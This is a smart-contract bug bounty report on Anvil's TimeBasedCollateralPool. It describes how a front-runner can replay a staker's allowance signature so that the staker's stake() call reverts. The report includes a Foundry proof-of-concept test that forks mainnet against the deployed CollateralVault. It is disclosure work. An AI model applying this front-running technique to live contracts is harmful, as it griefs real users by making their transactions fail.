Submitted on Nov 5th 2024 at 09:58:52 UTC by @trtrth for
Report Type: Smart Contract
Target: https://etherscan.io/address/0xd042C267758eDDf34B481E1F539d637e41db3e5a
Impacts:
Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)
Description
Brief/Intro
The contract `TimeBasedCollateralPool` allows a staker to stake using the collateralizable approval signature, which is verified by `CollateralVault` contract. In case a staker tries to stake using collateralizable approval signature, a malicious actor can frontrun with the staker's valid signature, which then cause the staker's transaction to be reverted.
Vulnerability Details
The function `TimeBasedCollateralPool::stake()` calls function `CollateralVault::modifyCollateralizableTokenAllowanceWithSignature()` if the signature is passed from caller:
```solidity function stake(IERC20 _token, uint256 _amount, bytes calldata _collateralizableApprovalSignature) external withEligibleAccountTokensReleased(msg.sender, address(_token)) returns (uint256) { if (_collateralizableApprovalSignature.length > 0) { @> collateral.modifyCollateralizableTokenAllowanceWithSignature( msg.sender, address(this), address(_token), Pricing.safeCastToInt256(_amount), _collateralizableApprovalSignature ); }
Copy return _stake(_token, _amount);
}
```
The function `CollateralVault::modifyCollateralizableTokenAllowanceWithSignature()` will update the account's collateralizable allowance if the given signature is valid without any restrictions for the caller. The transaction effectively increases nonce for the signer account.
So there will be cases when a malicious actor front-runs a staker by a transaction calling `modifyCollateralizableTokenAllowanceWithSignature()` with the signature collected from staker's `stake()` transaction. As a result, the `stake()` transaction will be reverted because of invalid nonce
Impact Details
Griefing, since the attacker makes no profit and the staker can submit another transaction to successfully stakes
References
https://github.com/AcronymFoundation/anvil-contracts/blob/1bbe04bb6f1aa1beea0ebf55e1bad67da3aa0f87/contracts/CollateralVault.sol#L294-L311
https://github.com/AcronymFoundation/anvil-contracts/blob/1bbe04bb6f1aa1beea0ebf55e1bad67da3aa0f87/contracts/CollateralVault.sol#L793-L823
https://github.com/AcronymFoundation/anvil-contracts/blob/1bbe04bb6f1aa1beea0ebf55e1bad67da3aa0f87/contracts/CollateralVault.sol#L587-L630
https://github.com/AcronymFoundation/anvil-contracts/blob/1bbe04bb6f1aa1beea0ebf55e1bad67da3aa0f87/contracts/TimeBasedCollateralPool.sol#L648-L663
Proof of Concept
Proof of Concept
This PoC is created as a Solidity test file under repository https://github.com/AcronymFoundation/anvil-contracts/tree/main
```solidity pragma solidity 0.8.25;
import "forge-std/Test.sol"; import {TimeBasedCollateralPool} from "src/TimeBasedCollateralPool.sol"; import {CollateralVault} from "src/CollateralVault.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract PocTest is Test { CollateralVault collateralVault = CollateralVault(0x5d2725fdE4d7Aa3388DA4519ac0449Cc031d675f);
Copy TimeBasedCollateralPool TBCP;
IERC20 usdc = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
address attacker;
address victim;
uint256 victimPK;
bytes32 domainSeparator;
bytes32 private constant TYPE_HASH =
keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)");
bytes32 internal constant COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH = keccak256(
"CollateralizableTokenAllowanceAdjustment(address collateralizableAddress,address tokenAddress,int256 allowanceAdjustment,uint256 approverNonce)"
);
function setUp() public {
vm.createSelectFork("https://rpc.ankr.com/eth", 21120353);
(victim, victimPK) = makeAddrAndKey("victim");
attacker = makeAddr("attacker");
deal(address(usdc), victim, 1000e6);
(, string memory name, string memory version, uint256 chainId, address verifyingContract,,) =
collateralVault.eip712Domain();
// calc domain separator
domainSeparator = keccak256(
abi.encode(TYPE_HASH, keccak256(bytes(name)), keccak256(bytes(version)), chainId, verifyingContract)
);
// 1. create a TBCP contracts and initialize
TBCP = new TimeBasedCollateralPool();
TBCP.initialize(
collateralVault, 3600, address(this), address(this), address(this), address(this), address(this)
);
// 2. approve the TBCP contract
vm.startPrank(collateralVault.owner());
CollateralVault.CollateralizableContractApprovalConfig[] memory configs =
new CollateralVault.CollateralizableContractApprovalConfig[](1);
configs[0].collateralizableAddress = address(TBCP);
configs[0].isApproved = true;
collateralVault.upsertCollateralizableContractApprovals(configs);
}
function test_poc() public {
vm.startPrank(victim);
// 3. victim approve CollateralVault contract
usdc.approve(address(collateralVault), 1000e6);
// 4. victim deposits to CollateralVault
address[] memory tokens = new address[](1);
uint256[] memory amounts = new uint256[](1);
tokens[0] = address(usdc);
amounts[0] = 1000e6;
collateralVault.depositToAccount(victim, tokens, amounts);
// 5. victim signs the COLLATERALIZABLE_TOKEN_ALLOWANCE signature
bytes memory sig = _sign_adjust_allowance(victimPK, address(TBCP), address(usdc), int256(1000e6), 0);
// 6. Attacker frontruns with the above signature
vm.startPrank(attacker);
collateralVault.modifyCollateralizableTokenAllowanceWithSignature(
victim, address(TBCP), address(usdc), int256(1000e6), sig
);
// 7. Victim's stake() transaction fails
vm.expectRevert();
vm.startPrank(victim);
TBCP.stake(usdc, 1000e6, sig);
}
function _sign_adjust_allowance(uint256 pk, address target, address token, int256 amount, uint256 nonce)
internal
view
returns (bytes memory signature)
{
bytes32 digest = getTypedDataHash(target, token, amount, nonce);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(pk, digest);
signature = abi.encodePacked(r, s, v);
}
function getStructHash(address target, address token, int256 amount, uint256 nonce)
internal
pure
returns (bytes32)
{
return keccak256(abi.encode(COLLATERALIZABLE_TOKEN_ALLOWANCE_ADJUSTMENT_TYPEHASH, target, token, amount, nonce));
}
function getTypedDataHash(address target, address token, int256 amount, uint256 nonce)
internal
view
returns (bytes32)
{
return keccak256(abi.encodePacked("\x19\x01", domainSeparator, getStructHash(target, token, amount, nonce)));
}
}
```
The test would pass since the call at step 7 fails due to InvalidSignature error